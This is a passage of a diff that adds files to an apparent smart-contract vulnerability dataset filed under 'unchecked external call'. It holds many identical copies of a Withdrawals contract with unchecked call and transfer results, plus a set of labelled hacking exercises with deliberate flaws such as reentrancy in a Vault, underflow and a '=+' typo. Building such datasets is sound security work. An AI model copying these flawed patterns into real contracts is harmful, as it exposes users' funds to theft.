File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44432.sol b/smart_contract_dataset/unchecked external call/44432.sol new file mode 100644 index 0000000000000000000000000000000000000000..facf51732271d4d40fe56e6e99ed57db94b90581 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44432.sol @@ -0,0 +1,352 @@ +/* This program is free software. It comes without any warranty, to +the extent permitted by applicable law. You can redistribute it +and/or modify it under the terms of the Do What The Fuck You Want +To Public License, Version 2, as published by Sam Hocevar. See +http://www.wtfpl.net/ for more details. */ + +/* These contracts are examples of contracts with bugs and vulnerabilities in order to practice your hacking skills. +DO NOT USE THEM OR GET INSPIRATION FROM THEM TO MAKE CODE USED IN PRODUCTION +You are required to find vulnerabilities where an attacker harms someone else. +Being able to destroy your own stuff is not a vulnerability and should be dealt at the interface level. +*/ + +pragma solidity ^0.4.10; +//*** Exercise 1 ***// +// Simple token you can buy and send. +contract SimpleToken{ + mapping(address => uint) public balances; + + /// @dev Buy token at the price of 1ETH/token. + function buyToken() payable { + balances[msg.sender]+=msg.value / 1 ether; + } + + /** @dev Send token. + * @param _recipient The recipient. + * @param _amount The amount to send. + */ + function sendToken(address _recipient, uint _amount) { + require(balances[msg.sender]!=0); // You must have some tokens. + + balances[msg.sender]-=_amount; + balances[_recipient]+=_amount; + } + +} + +//*** Exercise 2 ***// +// You can buy voting rights by sending ether to the contract. +// You can vote for the value of your choice. +contract VoteTwoChoices{ + mapping(address => uint) public votingRights; + mapping(address => uint) public votesCast; + mapping(bytes32 => uint) public votesReceived; + + /// @dev Get 1 voting right per ETH sent. + function buyVotingRights() payable { + votingRights[msg.sender]+=msg.value/(1 ether); + } + + /** @dev Vote with nbVotes for a proposition. + * @param _nbVotes The number of votes to cast. + * @param _proposition The proposition to vote for. + */ + function vote(uint _nbVotes, bytes32 _proposition) { + require(_nbVotes + votesCast[msg.sender]<=votingRights[msg.sender]); // Check you have enough voting rights. + + votesCast[msg.sender]+=_nbVotes; + votesReceived[_proposition]+=_nbVotes; + } + +} + +//*** Exercise 3 ***// +// You can buy tokens. +// The owner can set the price. +contract BuyToken { + mapping(address => uint) public balances; + uint public price=1; + address public owner=msg.sender; + + /** @dev Buy tokens. + * @param _amount The amount to buy. + * @param _price The price to buy those in ETH. + */ + function buyToken(uint _amount, uint _price) payable { + require(_price>=price); // The price is at least the current price. + require(_price * _amount * 1 ether <= msg.value); // You have paid at least the total price. + balances[msg.sender]+=_amount; + } + + /** @dev Set the price, only the owner can do it. + * @param _price The new price. + */ + function setPrice(uint _price) { + require(msg.sender==owner); + + price=_price; + } +} + +//*** Exercise 4 ***// +// Contract to store and redeem money. +contract Store { + struct Safe { + address owner; + uint amount; + } + + Safe[] public safes; + + /// @dev Store some ETH. + function store() payable { + safes.push(Safe({owner: msg.sender, amount: msg.value})); + } + + /// @dev Take back all the amount stored. + function take() { + for (uint i; i uint) public contribution; + uint public totalContributions; + address owner=msg.sender; + + /// @dev Constructor, count a contribution of 1 ETH to the creator. + function CountContribution() public { + recordContribution(owner, 1 ether); + } + + /// @dev Contribute and record the contribution. + function contribute() public payable { + recordContribution(msg.sender, msg.value); + } + + /** @dev Record a contribution. To be called by CountContribution and contribute. + * @param _user The user who contributed. + * @param _amount The amount of the contribution. + */ + function recordContribution(address _user, uint _amount) { + contribution[_user]+=_amount; + totalContributions+=_amount; + } + +} + +//*** Exercise 6 ***// +contract Token { + mapping(address => uint) public balances; + + /// @dev Buy token at the price of 1ETH/token. + function buyToken() payable { + balances[msg.sender]+=msg.value / 1 ether; + } + + /** @dev Send token. + * @param _recipient The recipient. + * @param _amount The amount to send. + */ + function sendToken(address _recipient, uint _amount) { + require(balances[msg.sender]>=_amount); // You must have some tokens. + + balances[msg.sender]-=_amount; + balances[_recipient]+=_amount; + } + + /** @dev Send all tokens. + * @param _recipient The recipient. + */ + function sendAllTokens(address _recipient) { + balances[_recipient]=+balances[msg.sender]; + balances[msg.sender]=0; + } + +} + +//*** Exercise 7 ***// +// You can buy some object. +// Further purchases are discounted. +// You need to pay basePrice / (1 + objectBought), where objectBought is the number of object you previously bought. +contract DiscountedBuy { + uint public basePrice = 1 ether; + mapping (address => uint) public objectBought; + + /// @dev Buy an object. + function buy() payable { + require(msg.value * (1 + objectBought[msg.sender]) == basePrice); + objectBought[msg.sender]+=1; + } + + /** @dev Return the price you'll need to pay. + * @return price The amount you need to pay in wei. + */ + function price() constant returns(uint price) { + return basePrice/(1 + objectBought[msg.sender]); + } + +} + +//*** Exercise 8 ***// +// You choose Head or Tail and send 1 ETH. +// The next party send 1 ETH and try to guess what you chose. +// If it succeed it gets 2 ETH, else you get 2 ETH. +contract HeadOrTail { + bool public chosen; // True if head/tail has been chosen. + bool lastChoiceHead; // True if the choice is head. + address public lastParty; // The last party who chose. + + /** @dev Must be sent 1 ETH. + * Choose head or tail to be guessed by the other player. + * @param _chooseHead True if head was chosen, false if tail was chosen. + */ + function choose(bool _chooseHead) payable { + require(!chosen); + require(msg.value == 1 ether); + + chosen=true; + lastChoiceHead=_chooseHead; + lastParty=msg.sender; + } + + + function guess(bool _guessHead) payable { + require(chosen); + require(msg.value == 1 ether); + + if (_guessHead == lastChoiceHead) + msg.sender.transfer(2 ether); + else + lastParty.transfer(2 ether); + + chosen=false; + } +} + +//*** Exercise 9 ***// +// You can store ETH in this contract and redeem them. +contract Vault { + mapping(address => uint) public balances; + + /// @dev Store ETH in the contract. + function store() payable { + balances[msg.sender]+=msg.value; + } + + /// @dev Redeem your ETH. + function redeem() { + msg.sender.call.value(balances[msg.sender])(); + balances[msg.sender]=0; + } +} + +//*** Exercise 10 ***// +// You choose Head or Tail and send 1 ETH. +// The next party send 1 ETH and try to guess what you chose. +// If it succeed it gets 2 ETH, else you get 2 ETH. +contract HeadTail { + address public partyA; + address public partyB; + bytes32 public commitmentA; + bool public chooseHeadB; + uint public timeB; + + + + /** @dev Constructor, commit head or tail. + * @param _commitmentA is keccak256(chooseHead,randomNumber); + */ + function HeadTail(bytes32 _commitmentA) payable { + require(msg.value == 1 ether); + + commitmentA=_commitmentA; + partyA=msg.sender; + } + + /** @dev Guess the choice of party A. + * @param _chooseHead True if the guess is head, false otherwize. + */ + function guess(bool _chooseHead) payable { + require(msg.value == 1 ether); + require(partyB==address(0)); + + chooseHeadB=_chooseHead; + timeB=now; + partyB=msg.sender; + } + + /** @dev Reveal the commited value and send ETH to the winner. + * @param _chooseHead True if head was chosen. + * @param _randomNumber The random number chosen to obfuscate the commitment. + */ + function resolve(bool _chooseHead, uint _randomNumber) { + require(msg.sender == partyA); + require(keccak256(_chooseHead, _randomNumber) == commitmentA); + require(this.balance >= 2 ether); + + if (_chooseHead == chooseHeadB) + partyB.transfer(2 ether); + else + partyA.transfer(2 ether); + } + + /** @dev Time out party A if it takes more than 1 day to reveal. + * Send ETH to party B. + * */ + function timeOut() { + require(now > timeB + 1 days); + require(this.balance>=2 ether); + partyB.transfer(2 ether); + } +} + +//*** Exercise 11 ***// +// You can create coffers put money into it and withdraw it. +contract Coffers { + struct Coffer {address owner; uint[] slots;} + Coffer[] public coffers; + + /** @dev Create coffers. + * @param _slots The amount of slots the coffer will have. + * */ + function createCoffer(uint _slots) external { + Coffer storage coffer = coffers[coffers.length++]; + coffer.owner = msg.sender; + coffer.slots.length = _slots; + } + + /** @dev Deposit money in one's coffer slot. + * @dev _coffer The coffer to deposit money on. + * @param _slot The slot to deposit money. + * */ + function deposit(uint _coffer, uint _slot) payable external { + Coffer storage coffer = coffers[_coffer]; + coffer.slots[_slot] += msg.value; + } + + /** @dev withdraw all of the money of one's coffer slot. + * @param _slot The slot to withdraw money from. + * */ + function withdraw(uint _coffer, uint _slot) external { + Coffer storage coffer = coffers[_coffer]; + require(coffer.owner == msg.sender); + msg.sender.transfer(coffer.slots[_slot]); + coffer.slots[_slot] = 0; + } +} + +//*** Exercise Bonus ***// +// One of the previous contracts has 2 vulnerabilities. +// Find which one and describe the second vulnerability. + diff --git a/smart_contract_dataset/unchecked external call/44548.sol b/smart_contract_dataset/unchecked external call/44548.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44548.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44555.sol b/smart_contract_dataset/unchecked external call/44555.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44555.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44576.sol b/smart_contract_dataset/unchecked external call/44576.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44576.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44577.sol b/smart_contract_dataset/unchecked external call/44577.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44577.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44579.sol b/smart_contract_dataset/unchecked external call/44579.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44579.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 